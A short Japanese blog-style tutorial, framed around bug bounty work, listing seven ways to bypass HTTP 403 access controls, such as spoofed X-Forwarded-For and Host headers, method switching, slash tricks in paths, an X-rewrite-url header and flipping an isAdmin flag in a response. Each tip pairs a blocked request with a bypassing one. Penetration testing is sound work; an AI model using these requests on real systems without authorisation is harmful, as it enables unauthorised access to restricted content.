403 Forbiddenを回避する7のコツ

2519 ワード

ソフトウェア界隈ではBugBounty(脆弱性報奨金制度)と呼ばれる制度があります。

これはいわば、対象のシステムから脆弱性を探し出し、探し出した脆弱性のレベルに応じて、報奨金が支払われるという仕組みで成り立っています。

BugBountyでは主にWeb App, Mobile App, APIが対象となりますが、システムを調査していくと403エラーに何度も直面します。

今回はそんなBugBounty中に見つけた403エラーを回避する7つのTips(コツ)をご紹介します。

Tip1 - カスタムヘッダを追加

-- Blocked --
GET /admin HTTP/1.1 

-- Bypassed --
GET /admin HTTP/1.1
X-Forwarded-For: http://127.0.0.1

Tip2 - リクエストメソッドを変更

GETをPOSTに変えて、Content-Length: 0をセット。意外とメソッドを変えるだけでイケるもんです。

-- Blocked --
GET /admin HTTP/1.1

-- Bypassed --
POST /admin HTTP/1.1
Content-Length: 0

Tip3 - Hostヘッダ変更

これは某大手コーヒーチェーンのサイトで見つけました。何かうまく突破できないものかと四苦八苦している最中、思いつきで打ったものが上手くいき、驚いたのを今でも覚えています。

HostヘッダをGoogle.comに変更することで一般的にアクセスできないコンテンツにたどり着くことができました。

-- Blocked --
GET /target HTTP/1.1
Host: target.com

-- Bypassed --
GET /target HTTP/1.1
Host: google.com

Tip4 - URLにダブルスラッシュを使う

-- Blocked --
/api/user

-- Bypassed --
/api//user

Tip5 - URLにバックスラッシュを使う

-- Blocked --
/api/user

-- Bypassed --
/api\\user

Tip6 - X-rewrite-urlヘッダを使う

POST /xyzxyz部分をX-rewrite-urlヘッダに指定してあげます。

-- Blocked --
POST /xyz HTTP/1.1
Host:target.com

-- Bypassed --
POST /  HTTP/1.1 
Host: target.com
X-rewrite-url: xyz.py

Tip7 - レスポンスボディを変更

最後はゴリ押し感がありますが、レスポンスボディを変えちゃいます。

-- Blocked --
{ isAdmin: false}

-- Bypassed --
{ isAdmin: true }